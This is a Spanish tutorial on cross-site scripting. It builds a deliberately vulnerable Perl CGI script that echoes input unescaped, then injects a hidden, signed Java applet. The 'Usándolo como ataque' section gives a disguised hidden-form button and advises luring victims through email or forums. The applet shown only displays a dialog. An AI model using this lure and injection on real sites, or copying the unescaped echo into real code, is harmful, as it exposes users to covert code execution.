Introducción a las páginas web
Como muchos sabréis hay dos tipos básicos de páginas web, las que son generadas dinámicamente y las que son estáticas. La diferencia principal es que las estáticas siempre son iguales, en cambio las dinámicas son generadas con cada petición que hacemos, según los parametros que le enviamos se nos genera una web u otra. Para que el método funcione la web debe ser dinámica, ya que de lo contrario no tenemos ningún tipo de interactividad con el que afectar al comportamiento.
Hay varias maneras de pasar los argumentos, por “Get” o por “Post” en el ejemplo que usaremos haremos ver que son con “Get” ( se ven las variables y los valores en la dirección ) para poder mostrarlo mejor. En la realidad acostumbran a ir por “Post” con lo que no vemos que estamos enviando y hay que hacer alguna cosita más.
CGI Common Gateway Interface (Interfaz Común de Pasarela) CGI permite a un cliente (navegador web) solicitar datos de un programa ejecutado en un servidor web. Especifica un estándard para transferir datos entre el cliente y el programa. Es un mecanismo de comunicación entre el servidor web y una aplicación externa. ( Wikipedia ).
Esto nos viene a decir que CGI es un estándar para el paso de datos entre un programa externo como puede ser un script en Perl,Asp, PHP... y el servidor. De manera que el cliente cuando hace una petición puede pasarle argumentos a un programa externo, y este como resultado genera una web que se la envía al servidor y este al navegador. Si no queda claro con la explicación podéis echarle un ojo al diagrama1, donde se ven los pasos que se realizan en una petición de este tipo y la comunicación entre los componentes.
DIAGRAMA 1
Ejemplo de Web Dinámica
Bueno, ahora que sabemos un poco de teoría sobre el tema, veamos un pequeño ejemplo de una página web dinámica. Como ya hemos dicho lo que debemos hacer es usar un script que se encargue de generar la web resultante como salida. Vamos a usar el lenguaje Perl para implementar el script, un ejemplo lo podéis ver en el listado1.
LISTADO 1
#Cargamos el módulo
use CGI qw/:standard/;
#Printeamos la web
#Cabecera
print header,
#Inicio del HTML (title='XSS')
start_html('XSS'),
#Inicio del Form
start_form,
#Crea un elemento de texto con name="xss"
textfield('xss'),
#Finaliza el Form
end_form;
# Si hay parametros significa que se ha escrito algo anteriormente
# en el elemento de texto, asi que lo mostramos a continuación
if(param()) {
#Añade el contenido si es necesario
print hr, h1('Contenido:'), param('xss'), hr;
}
#Finaliza el HTML
print end_html;
El código es realmente simple, sólo cargamos el módulo standard de Perl para usar CGI, lo de "qw/:standard/" simplemente indica que se cargarán las funciones "standard" en nuestro "namespace" y de esta manera no necesitamos crear objetos, luego hacemos el print de todos los elementos necesarios. Gracias al módulo cargado, tenemos mucha más facilidad de programación, fijaros que en vez de poner:
print "<HTML> <HEAD> <TITLE> XSS </TITLE> <BODY>"
Simplemente hace falta:
En nuestro código simplemente concatenamos todos los prints usando la coma "," y en el ultimo terminamos el comando con ";". Más adelante se comprueba si han habido argumentos usando la función "param()" que también viene con el módulo. Si los hay lo que hacemos es imprimir "Contenido:" seguido del valor del parámetro correspondiente al objeto "xss". Aunque asi pueda parecer algo críptico, porque no se sabe realmente que va a mostrar el comando, realmente no lo es, veamos ahora que pasa si lo ejecutamos en nuestra propia consola ("ver listado2 (a)").
LISTADO 2
(a)
$ perl xss.pl
Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>XSS</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<form method="post" action="/xss.pl" enctype="multipart/form-data">
<input type="text" name="xss" tabindex="1" />
<div></div>
</form>
</body>
</html>
(b)
$ perl xss.pl xss="mec mec"
[ ..Igual que (a).. ]
<form method="post" action="/xss.pl" enctype="multipart/form-data">
<input type="text" name="xss" tabindex="1" value="mec mec"/>
<div></div>
</form>
<hr />
<h1>Contenido:</h1>
mec mec
<hr />
</body>
[..]
Como podemos observar en el listado, la salida es una web completamente formada con sus tags ( etiquetas ) bien puestas. No es muy complicado darse cuenta de el conjunto de lineas que se muestran por cada elemento del print. Veamos ahora que ocurre si ejecutamos el script de la siguiente manera:
$ perl xss.pl xss="mec mec"
Las diferencias al ejecutar este comando con el anterior las vemos en el "listado2 (b)". Hay modificaciones en una de las líneas y se han añadido otras tantas. Al pasarle el argumento xss="mec mec", cuando crea el elemento "xss" le asigna ese valor en el campo "value", tal y como podemos ver en la linea:
<input type="text" name="xss" tabindex="1" value="mec mec"/>
Por otra parte la condición se cumple y por lo tanto se imprime el contenido:
<hr />
<h1>Contenido:</h1>
mec mec
<hr />
Como supongo que a muchos no os gusta esto de ver solamente el código fuente, en las imágenes 1/a i 1/b tenéis una captura donde se pueden ver las webs generadas por los listados 2/a i 2/b respectivamente. Todo más claro ? Pues todo este proceso que estamos haciendo a mano es lo que hace el servidor automáticamente cada vez que hacemos una petición del estilo a las del diagrama.
IMAGEN 1
Introducción al XSS
XSS Cross Site Scripting, técnica para inyectar código en páginas web vulnerables por una mala validación.
A continuación vamos a ver como la página que hemos creado aparentemente correcta es, en realidad, una completamente desastrosa. Pero antes vamos a ver en que consiste exactamente esta técnica.
Es algo bastante sencillo conceptualmente, pero luego aprovecharlo ya no lo es tanto. El bug se encuentra en los scripts, si uno de estos no es capaz de "parsear" bien los argumentos, se pueden dar sustituciones al código de la web generada, en ese caso todo el que la vea con esos valores, cargará el código inyectado. Dicho asi parece algo incomprensible, pero vamos a ver un pequeño ejemplo usando nuestro script. Primero examinemos un poco más a fondo el código, concretamente la siguiente linea, que se encuentra dentro de la condición:
print hr, h1('Contenido:'), param('xss'), hr;
Cómo ya hemos dicho, esta sentencia muestra todos los elementos uno detrás de otro. Fijaros en el detalle del "param('xss')", esto significa que se imprimirá el argumento directamente, tal y como se lo hemos pasado al programa ( ya sea usando la consola o bien una petición al servidor ). Por ejemplo, si ponemos "mec mec", imprimirá "mec mec" y ya está. La pregunta viene ahora: ¿ Qué pasaría si pusiéramos "<h1>mec mec</h1>" ? Lo ideal seria que esa cadena al completo estuviera dentro del contenido, es decir, 'value="<h1>mec mec</h1>"' i luego al imprimir el contenido que imprimiera "<h1>mec mec</h1>".
Pero en vez de eso, mirad que pasa (ver imagen2). Como se puede observar, en el contenido de la casilla del texto, el valor es correcto, pero fijaros que has pasado a la hora de mostrar el contenido, los tags "<h1></h1>" no han salido! Por qué razón? Solo hay que ver como se ha imprimido el comentario, en negrita y mucho más grande que en el primer caso, de echo ha salido igual que el titulo "Contenido:". Exacto! Ha interpretado nuestro comando y por lo tanto la web ha quedado modificada, veamos el código fuente en el listado3.
IMAGEN 2
LISTADO 3
[ .. Como siempre .. ]
<form method="post" action="/xss.pl" enctype="multipart/form-data">
<input type="text" name="xss" tabindex="1" value="<h1>mec mec</h1>" />
<div></div>
</form>
<hr />
<h1>Contenido:</h1>
<h1>mec mec</h1>
<hr />
</body>
</html>
No hacen falta comentarios para el listado3, vemos como ha sido inyectado nuestro argumento como parte del código de la propia web jeje.
Aprovechando el error
Hasta aquí todo es muy bonito y todo eso, el único problema que tenemos ahora es que para poder ver la modificación habría que darle a un enlace como el que sigue:
http://HOST/xss.pl?xss="<h1>mec mec</h1>"
Y esto no es algo que todo el mundo ponga en su navegador, es decir, podemos modificar el código de la web, pero solo para nosotros, no hacemos que los cambios sean permanentes. Como arreglar esto? Pues no podemos, eso no depende de nosotros, sólo depende de la web que contenga el error, claro que siempre se pueden hacer algunos truquitos como veremos más adelante.
Por ejemplo vamos a suponer el site de un foro, o un post de comentarios, que son los más usuales. Primero pensemos en como funciona, nosotros escribimos un Post y le damos a "submit" o "enviar" o lo que sea, esto llama un script que nos genera una web añadiéndole nuestro texto de manera permanente, para que asi cuando alguien entre pueda leerlo. ¿ Que pasa si en el campo del texto, del nick, del email o de la web personal hay un error de este estilo ? Pues que todo el que entre después verá la web tal y como la hemos dejado, es decir, con nuestro código inyectado.
No hace falta decir que con un fallo de este tipo, inyección, no sólo podemos poner letras más grandes, también podemos usar funciones y comandos en algunos casos, con el fin de obtener información sobre el servidor (pe: phpinfo() en el caso de PHP). Aunque no estaría dentro del XSS, la base es la misma con lo que conceptualmente es igual.
Con XSS podemos incluso hacer uso de applets y cosillas que nos permiten ejecutar código en la máquina del cliente, como código java, siempre con su autorización claro, pero seamos francos... ¿ Que proporción de gente le da al "SI" sin leer nada ? Así somos, que queréis..
A continuación vamos a crear un pequeño engaño casero, para conocer la metodología que se usa. En este caso lo que haremos es usar el XSS para hacer que se cargue un Applet en java, y conseguir asi que sea ejecutado en el cliente.
Creando el Applet
Applet Pieza de software que requiere de un programa anfitrión, por ejemplo un navegador web (wikipedia).
La definición es suficientemente clara, es un applet por ejemplo el "mini" reproductor que se carga cuando queremos visualizar un vídeo online. En windows por ejemplo, existe el ActiveX que lo que hace es proporcionar una interface para incrustar controles ActiveX dentro de otras aplicaciones ( como por ejemplo InternetExplorer ).
Bueno, pero nosotros lo que haremos es un applet usando Java para programarlo. Así que lo primero será asegurarse de tener instalados los paquetes correspondientes de java, como por ejemplo el "jdk" ( Java Development Kit ) y el "jre" ( Java Run-Time Environment ), podemos encontrar los de sun en "java.sun.com" o bien podemos buscarlos en el repositorio de nuestra distribución *nix.
Antes de nada vamos a hacer el código java que queremos que se ejecute, más adelante veremos como "convertirlo" en applet. Podemos ver dicho ejemplo en el listado4. El código es muy corto y simple, simplemente nos abre una ventana "Dialog" y nos muestra el mensaje "El código del applet se ejecuta".
LISTADO 4
$ cat Applet1.java
import javax.swing.*;
public class Applet1 extends JApplet {
// Codigo de incio del applet
public void start() {
JOptionPane.showMessageDialog(this,"El código del applet se ejecuta");
}
}
Empecemos a convertirlo en applet... Como algunos sabréis los applets deben ir firmados con certificado, así que lo primero sera crear las claves para hacerlo:
$ keytool -genkey -keystore claves -alias applet1
Lo que hacemos es generar una clave (-genkey), la guardaremos en el fichero "claves" (-keystore) y le daremos el nombre "applet1" (-alias). Cuando hagamos este comando nos empezará a pedir datos para hacer la clave, los podemos dejar todo por defecto o cambiarlos, en el "listado5 (a)" tenéis el valor asignados al ejemplo. Veamos ahora si se ha generado la clave correctamente usando el comando:
$ keytool -list -keystore claves
Vemos la salida en el "listado5 (b)". Todo bien por el momento :) Vayamos ahora a crear el archivo ".jar" que contendrá el applet de java. Primero lo compilaremos usando el comando "javac". Una vez lo compilemos tendremos el fichero "applet1.class", ahora necesitamos convertirlo a ".jar" con la siguiente sentencia:
$ jar cf applet1.jar Applet1.class
LISTADO 5
(a)
$ keytool -genkey -keystore claves -alias applet1
Escriba la contraseña del almacén de claves: nopass
¿Cuáles son su nombre y su apellido?
[Unknown]: Juan Garcia
¿Cuál es el nombre de su unidad de organización?
[Unknown]: Org. Unit
¿Cuál es el nombre de su organización?
[Unknown]: Autonomo SA
¿Cuál es el nombre de su ciudad o localidad?
[Unknown]: Barcelona
¿Cuál es el nombre de su estado o provincia?
[Unknown]: Barcelona
¿Cuál es el código de país de dos letras de la unidad?
[Unknown]: ES
¿Es correcto CN=Juan Garcia, OU=Org. Unit, O=Autonomo SA, L=Barcelona, ST=Barcelona, C=ES?
[no]: y
Escriba la contraseña clave para <applet1>
(INTRO si es la misma contraseña que la del almacén de claves):
(b)
$ keytool -list -keystore claves
Escriba la contraseña del almacén de claves: nopass
Tipo de almacén de claves: jks
Proveedor de almacén de claves: SUN
Su almacén de claves contiene entrada 1
applet1, 27-jul-2006, keyEntry,
Huella digital de certificado (MD5): CD:B8:06:DB:3E:FC:6D:8D:D5:63:E5:E6:11:95:73:0C
(c)
$ javac Applet1.java
$ jar cf applet1.jar Applet1.class
$ jarsigner -keystore claves applet1.jar applet1
Enter Passphrase for keystore: nopass
Warning: The signer certificate will expire within six months.
$
Ya tenemos nuestro applet creado en "applet1.jar" :). Finalmente necesitamos firmarlo con la clave que hemos creado anteriormente, simplemente para que pueda ser ejecutado sin problemas de seguridad en un navegador aceptando previamente un certificado. Para ello usaremos "jarsigner" de la siguiente manera:
$ jarsigner -keystore claves applet1.jar applet1
Estamos usando las claves del fichero "claves" (-keystore) para firmar el applet "applet1.jar" con la clave llamada "applet1". Todas estas operaciones las podemos ver en el "listado5 (c)" con sus correspondientes salidas y opciones.
Ya lo tenemos todo hecho! Sólo queda comprobar que funciona, para ello simplemente creamos un fichero "applet.html", por ejemplo, en el mismo directorio donde tenemos el "applet1.jar". En el fichero ".html" ponemos la siguiente línea (sólo):
<applet archive=applet1.jar code=Applet1.class width=0 height=0> </applet>
Nota El tamaño es 0 0 para que no se vea, de esa manera pasa más inadvertido.
Y probamos de abrirlo con el FireFox por ejemplo. Veremos como nos sale una petición de aceptar un certificado para poder ejecutar nuestro Applet en java tal y como se puede observar en la imagen3.
IMAGEN 3
En este ejemplo da igual si aceptamos el certificado o no, se ejecutará de todas maneras porque la aplicación no afecta en absoluto a nuestro sistema, sólo abre un Dialog con una cadena de caracteres simples. Pero normalmente son acciones mas complejas y por lo tanto requieren de nuestra autorización. Sea como sea, veremos a continuación la ejecución de nuestro Applet tal y como se observa en la imagen4.
IMAGEN 4
Usándolo como ataque
Bueno hasta ahora hemos visto como inyectar código y como crear nuestro propio applet en java. Ya es hora de ver como lo usamos. Para aprovecharnos de este tipo de fallos lo primero será encontrar una web que posea dicho error. Una vez la tengamos tenemos varias opciones dependiendo de la imaginación de cada uno, por ejemplo podríamos hacer un correo en HTML y meter en él un botoncito hacia la web con el bug y el código inyectado. O bien podemos meterlo en un foro de una manera similar. La gracia esta en ponerlo bonito y asi incitar a los usuarios para que lo clicken, mirad por ejemplo la imagen5.
IMAGEN 5
Vamos a hacer una pequeña prueba con nuestra propia web. Pensemos un poco en que debemos escribir en el "Contenido" para que haga el efecto que nosotros queremos... Muy fácil, si tenemos en cuenta que escribe lo que pongamos directamente inyectado, basta con poner la siguiente linea:
<applet archive=applet1.jar code=Applet1.class width=0 height=0> </applet>
IMAGEN 6
Tal y como vemos en la imagen6, se nos ejecuta el applet :) Hay que tener en cuenta que en un caso real no tendríamos acceso a la máquina objetivo asi que el parámetro "archive=applet1.jar" debería ser cambiado por:
archive="http://www.web_secreta.com/applet.jar"
Por poner un ejemplo. Y entonces se verá la web original mientras se ejecuta un applet de otro site sin que se vea. Por ejemplo el código del botón de la imagen6 podéis verlo en el listado6. Como veis simplemente muestra el botón para hacer "submit" con un elemento "xss" que al ser de tipo "hidden" no es visible.
LISTADO 6
<form name="form1" action="http://localhost/cgi-perl/xss.pl" method="post">
<input type="hidden" name="xss" value='<applet archive="../applet1.jar" code="Applet1.class" width=0 height=0></applet>'
<input type="submit" value="Click aqui" style="BORDER:none;BACKGROUND-COLOR: rgb(245,245,245);">
</form>
Conclusiones
Bueno, ya hemos sido capaces de ver como funciona esta técnica. Lo "malo" que tiene es que hay que aceptar un certificado, pero vamos, gracias a eso somos capaces de "denegar" la ejecución, de lo contrario estaríamos todos infectados sin darnos cuenta. Así que ojo con lo que aceptáis por ahí :).
Antes de despedirme, me gustaría agradecer a HiDaRK de www.badchecksum.com la ayuda prestada y por haber hecho los ejemplos. Gracias!.
Un saludo a todos.
EOF